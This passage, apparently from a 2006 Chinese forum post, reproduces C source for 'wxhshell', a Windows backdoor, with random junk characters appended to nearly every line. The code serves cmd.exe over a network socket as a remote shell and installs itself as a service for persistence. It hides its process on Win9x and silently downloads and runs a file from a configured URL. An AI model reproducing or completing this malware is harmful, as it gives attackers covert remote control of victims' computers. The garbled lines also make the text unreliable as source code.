    switch(cmd[0]) { cia4!-#  
  /QsFeH  
  // 帮助 ^ )Lh5   
  case '?': { Xh/i5}5 t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,f4mFL0~N  
    break; w`vJE!4B  
  } iTt"Ik'  
  // 安装 wR?M2*ri  
  case 'i': { -k p~p e*T  
    if(Install()) ,))UQ7N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {P_~_5o_  
    else $C UmRi{T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Z;z}{.hq  
    break; nz|;6?LCLY  
    } '|b {  
  // 卸载 q9RCXo>Y+1  
  case 'r': { d]OoJK9&&  
    if(Uninstall()) u":D{+wC |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^IxT.g  
    else B8^tIq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,*2%6t`N?  
    break; UlHRA[SCv  
    } zv]-(<B  
  // 显示 wxhshell 所在路径 @xJ qG"  
  case 'p': { U n#7@8,  
    char svExeFile[MAX_PATH]; HM])m>KeT  
    strcpy(svExeFile,"\n\r"); JrTSu`S('  
      strcat(svExeFile,ExeFile); ,uD F#xjl,  
        send(wsh,svExeFile,strlen(svExeFile),0); 0KyujU?sF  
    break; A / N$  
    } qwu++9BM  
  // 重启 ^A^,/3  
  case 'b': { `~hAXnQK=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _dj< xPO  
    if(Boot(REBOOT)) jGzs; bE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *J!oV0#1  
    else { G qI^$5?  
    closesocket(wsh); 2hV#3i  
    ExitThread(0); {4 !%'~  
    } O~g _rcG  
    break; Tv<iHHp  
    } dhN[\Z%  
  // 关机 Ru Q\H0pr  
  case 'd': { p;:tzH\l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2*Uwp; 0  
    if(Boot(SHUTDOWN)) O`O{n_o^u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f- pt8  
    else { :<=!v5 SK  
    closesocket(wsh); 0K'lr;  
    ExitThread(0); ~1pJQ)!zlq  
    } @5H1Ni5/o@  
    break; o$m64l  
    } 4:8#&eF  
  // 获取shell 13.v5v,l  
  case 's': { WIXzxI<)  
    CmdShell(wsh); . ({aPtSt!  
    closesocket(wsh); l^ni"X  
    ExitThread(0); |EaGKC(   
    break; 5M{N-L_eC  
  } lph3"a^  
  // 退出 %5*gsgeI  
  case 'x': { ](NSpU|*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :tM|$TZ  
    CloseIt(wsh); Z!C\n[R/  
    break; Z~8Xp  
    } _> .TB\  
  // 离开 N~ljU;wo-9  
  case 'q': { Qp<?[C}'W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TH/!z,( >  
    closesocket(wsh); &-+qB >SK>  
    WSACleanup(); 5oplV(<?*S  
    exit(1); EuqmA7s8A  
    break; ~)D2U:"^xm  
        } C81+nR  
  } ;)[RG\  
  } bvn?wK   
;u,%an<(  
  // 提示信息 Z;XR%n8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dY/=-ymW  
} Y>EwU  
  } q|om^:n.  
~R/7J{Sg  
  return; gE JmMh  
} |!dyk<}oIu  
m~r^@D  
// shell模块句柄 a@zKi;  
int CmdShell(SOCKET sock)  2 Ua_7  
{ \P!v9LX(  
STARTUPINFO si; a2UER1Yp"  
ZeroMemory(&si,sizeof(si)); TclZdk]%T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g8mVjM\B;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [+gX6  
PROCESS_INFORMATION ProcessInfo; P$2J`b[H$  
char cmdline[]="cmd"; 7'j?GzaQ+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8 +xLi4Pw  
  return 0; WE4:Jy  
} iBxCk^  
B+ GPTQSTb  
// 自身启动模式 OCo=h|qBp  
int StartFromService(void) jfl7L"2  
{ XcaY'k#  
typedef struct B8Jev\_  
{ 'rHkJ  
  DWORD ExitStatus; Iqe4O~)  
  DWORD PebBaseAddress; %B3E9<9>U  
  DWORD AffinityMask;  ;e()|  
  DWORD BasePriority; Tx0/3^\>8A  
  ULONG UniqueProcessId; 17H_>a\`  
  ULONG InheritedFromUniqueProcessId; 1 @E<5rp o  
}   PROCESS_BASIC_INFORMATION; :^3MN  
5h+g^{BE  
PROCNTQSIP NtQueryInformationProcess; M\,0<{  
5)V J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <X j:c2@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WDY,?  
(p68Qe%OuG  
  HANDLE             hProcess; Lh"Je-x<<  
  PROCESS_BASIC_INFORMATION pbi; @= 6}w_  
O\XN/R3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,y,NVF  
  if(NULL == hInst ) return 0; VGM8&J{o'  
h -+vM9j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !zvKl;yT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;_of'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); waQNX7Xdn  
}Nl-3I.S^  
  if (!NtQueryInformationProcess) return 0; E92dSLhs5  
<y6M@(b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;QW6Tgt11  
  if(!hProcess) return 0; v(FO8*5DZ  
ep3_G\m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ! s?vj <  
'7 6}6G%  
  CloseHandle(hProcess); nBaY|  
sJ7r9 O`x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YQ 4;X8I`r  
if(hProcess==NULL) return 0; xRP#}i:m  
9,82Uta  
HMODULE hMod; ??aOr*%  
char procName[255]; <QugV3e  
unsigned long cbNeeded; W&}R7a@:<~  
MT$OjH'Q`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^] Lr_k  
eq "a)QB3m  
  CloseHandle(hProcess); a>.2Q<1  
. CLiv  
if(strstr(procName,"services")) return 1; // 以服务启动 w%VHq z$  
3kdTteyy+  
  return 0; // 注册表启动 @&S4j]rq  
} r=s ,Ath  
*r?g&Vw$m  
// 主模块 4NQS'*%D  
int StartWxhshell(LPSTR lpCmdLine) TPq5"mco  
{ b3H~a2"d  
  SOCKET wsl; NV9D;g$Y  
BOOL val=TRUE; m!|u{<,R  
  int port=0; 6t *pV [  
  struct sockaddr_in door; iwJBhu0@#  
E%3WJ%A  
  if(wscfg.ws_autoins) Install(); lK9us  
8K]fw{-$L  
port=atoi(lpCmdLine); ><TuL7+  
pYI`5B4  
if(port<=0) port=wscfg.ws_port; Od>Ta_  
7X2g"2\Wm  
  WSADATA data; "|]'\4UdzQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "T<Q#^m  
|5Mhrb4.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uz&CUvos  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R6h(mPYA  
  door.sin_family = AF_INET; 8PDt 7 \  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O!hg@[\B+  
  door.sin_port = htons(port); p` B48TW  
'vhgR2/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ua,Lg.z  
closesocket(wsl); ]B:g<}5$4  
return 1; p;"pTGoW i  
} )T(xQ2&r4  
R4_4FEo  
  if(listen(wsl,2) == INVALID_SOCKET) { w-AF5%gX  
closesocket(wsl); iPa!pg4m  
return 1; 8 %Lq~ lk  
} Gz+Bk5#{  
  Wxhshell(wsl); z(:0@5  
  WSACleanup(); zn_InxR  
%njX'7^u  
return 0; uPsn~>(4  
a/NmM)  
} u!k\W{  
S3MMyS8  
// 以NT服务方式启动 LU?X|{z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  KY!  
{ sI@m"A  
DWORD   status = 0; Ib*l{cxN  
  DWORD   specificError = 0xfffffff; s!9.o_k  
14]!LgH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !\}Dxt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]~U4;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]chcRc[!  
  serviceStatus.dwWin32ExitCode     = 0; fS>W-  
  serviceStatus.dwServiceSpecificExitCode = 0; W7WHH \L/O  
  serviceStatus.dwCheckPoint       = 0; ^IjKT  
  serviceStatus.dwWaitHint       = 0; fYuJf,I[f  
#y&3`Nz3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); * Od_Cl  
  if (hServiceStatusHandle==0) return; k*J}/HO  
V);{o>%.K  
status = GetLastError(); >e/;  
  if (status!=NO_ERROR) 'D1 T"}  
{ N~;=*)_VH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2wlrei  
    serviceStatus.dwCheckPoint       = 0; !Z YMks4  
    serviceStatus.dwWaitHint       = 0; - A x$Y  
    serviceStatus.dwWin32ExitCode     = status; SJ6lI66OX  
    serviceStatus.dwServiceSpecificExitCode = specificError; U8c0N<j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _.' j'j%  
    return; ?uc=(J+6  
  } hvtg_w6K  
6|V713\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1/j J;}  
  serviceStatus.dwCheckPoint       = 0; eZ[CqUJ&  
  serviceStatus.dwWaitHint       = 0; GLB7h 9>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9jDV]!N4  
} +6B(LPxgP  
6^H64jM  
// 处理NT服务事件,比如:启动、停止 2IFri|;-eb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _UT>,c;h  
{ Dq)V] Zx  
switch(fdwControl) UAFl+d!  
{ *Y?rls`  
case SERVICE_CONTROL_STOP: <T)9mJYr  
  serviceStatus.dwWin32ExitCode = 0; I+kGEHO}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -m(9*b{h@  
  serviceStatus.dwCheckPoint   = 0; L~"~C(g  
  serviceStatus.dwWaitHint     = 0; 0vbn!<:  
  { SZpBbX$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pz,kSxe=  
  } Uq<c+4)5  
  return; }y(1mzb  
case SERVICE_CONTROL_PAUSE: ~ k/'_1)c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 94=Wy-  
  break; zy(sekX;  
case SERVICE_CONTROL_CONTINUE: !e?=I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "A~\$  
  break; awB1ryrOF  
case SERVICE_CONTROL_INTERROGATE: 89v9BWF  
  break; DxdiXf[j  
}; 6H+gFXIv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b] DF7 U  
} %`F6>J  
^Y8?iC<+  
// 标准应用程序主函数 b6RuYwHWV0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {VE\}zKF  
{ #~^#%G  
y#F( xm+L  
// 获取操作系统版本 -8-  
OsIsNt=GetOsVer(); dGt;t5An V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]{jdar^  
1\z5[ _  
  // 从命令行安装 1.+0=M[h  
  if(strpbrk(lpCmdLine,"iI")) Install(); ` Xc~'zG  
8L`J](y  
  // 下载执行文件 ?x7zYE,6  
if(wscfg.ws_downexe) { &W`."  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #K.OJJaG  
  WinExec(wscfg.ws_filenam,SW_HIDE); 12U1DEd>-  
} )s5Q4m!  
m Y*JNx  
if(!OsIsNt) {  F"FGPk  
// 如果时win9x,隐藏进程并且设置为注册表启动 OBqaf )W  
HideProc(); a6wPkf7-H  
StartWxhshell(lpCmdLine); sMlY!3{I x  
} NYA,  
else ~2@+#1[g8z  
  if(StartFromService()) \b95CU  
  // 以服务方式启动 .K]n<+zW  
  StartServiceCtrlDispatcher(DispatchTable); "_WOt Jr  
else =+% QfuK  
  // 普通方式启动 9_)*b  
  StartWxhshell(lpCmdLine); ~~!iDF\  
[~m@'/  
return 0; R*VRxQ,h6+  
}
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只看该作者 1 发表于: 2006-10-10
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